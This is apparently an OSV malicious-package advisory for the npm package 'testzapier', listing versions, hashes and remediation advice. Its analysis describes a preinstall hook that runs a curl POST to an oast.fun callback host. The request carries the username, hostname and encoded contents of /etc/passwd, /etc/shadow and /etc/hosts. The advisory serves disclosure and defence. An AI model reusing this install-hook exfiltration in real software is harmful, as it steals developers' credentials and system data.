MAL-2026-5575

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/testzapier/MAL-2026-5575.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5575
Aliases
  • GHSA-5ppv-rxq4-cf57
Published
2026-06-11T04:37:03Z
Modified
2026-07-15T05:20:15Z
Summary
Malicious code in testzapier (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (a5840f2a3b34d7f32de7243a146ecf85ac875bd1ef09b0ba9a395d08e356084f)

package.json declares a preinstall hook (node index.js) that fires automatically on npm install. index.js spawns a shell that runs curl -X POST against http://kpfdtycruuyszysbsjtoj9al6djfqrtve.oast.fun/noderedactedsdk/$(whoami)/$(hostname)/, embedding the installer's username and hostname in the URL path. The User-Agent header carries a base64-encoded blob containing the contents of /etc/passwd, /etc/hosts, /etc/shadow (when readable as root), and the output of id. The destination is an interactsh/oast.fun OOB-callback subdomain, plain HTTP, with no relationship to any documented package purpose. Installer harm is direct and unconditional: any machine running npm install testzapier leaks host identity and local-account/secret-file contents to the attacker.

Source: ghsa-malware (660ed463d49d2702aff017efd42f11c8406d23cd9cae3aae7ae5640273e78dcc)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-005461",
            "import_time": "2026-06-11T05:40:57.221108557Z",
            "modified_time": "2026-06-11T04:37:10Z",
            "sha256": "045f2a9515d6ea6e0d97f528486c1ed7ffb6626ae018c414b5842ba2db15fac1",
            "source": "amazon-inspector",
            "versions": [
                "1.0.1"
            ]
        },
        {
            "id": "IN-MAL-2026-005460",
            "import_time": "2026-06-11T05:40:57.127194827Z",
            "modified_time": "2026-06-11T04:37:03Z",
            "sha256": "a5840f2a3b34d7f32de7243a146ecf85ac875bd1ef09b0ba9a395d08e356084f",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "id": "GHSA-5ppv-rxq4-cf57",
            "import_time": "2026-07-15T05:00:56.785359933Z",
            "modified_time": "2026-07-15T03:39:13Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "660ed463d49d2702aff017efd42f11c8406d23cd9cae3aae7ae5640273e78dcc",
            "source": "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / testzapier

Package

Name
testzapier
View open source insights on deps.dev
Purl
pkg:npm/testzapier

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0
1.0.1

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "index.js",
            "sha256": "fbaabfcebd13909c0b2cfb768cce31fa97ad5d44c303eb328ee3d84351e68852",
            "tlsh": "cef0dc5a48f5e83677f218bcef049c1f7747ea800436b35354ef6618235c9a884aa0b7"
        },
        {
            "path": "package.json",
            "sha256": "db06e32ac36e947460a4855b1a1ea12fcd4d710051eaf8bbc809eb4334c631d0",
            "tlsh": "5fd05e245e23953365c4266a1d2aa4867261cebf08143c0da3db142e93cf67798ff32c"
        }
    ],
    "package_integrity": [
        {
            "filename": "testzapier-1.0.1.tgz",
            "hashes": {
                "sha1": "18b84099166da0d71bf41fe7992b13d2a01e1b08",
                "sha512_sri": "sha512-wiKHGj8gNG+rJpnPbwH1OUDqA4JXnuW91SO1N2tyk4U6VGtpWSQbkXGAeM9HirAwvwUylQCpW8ZW74GRjAKl/g=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/testzapier/MAL-2026-5575.json"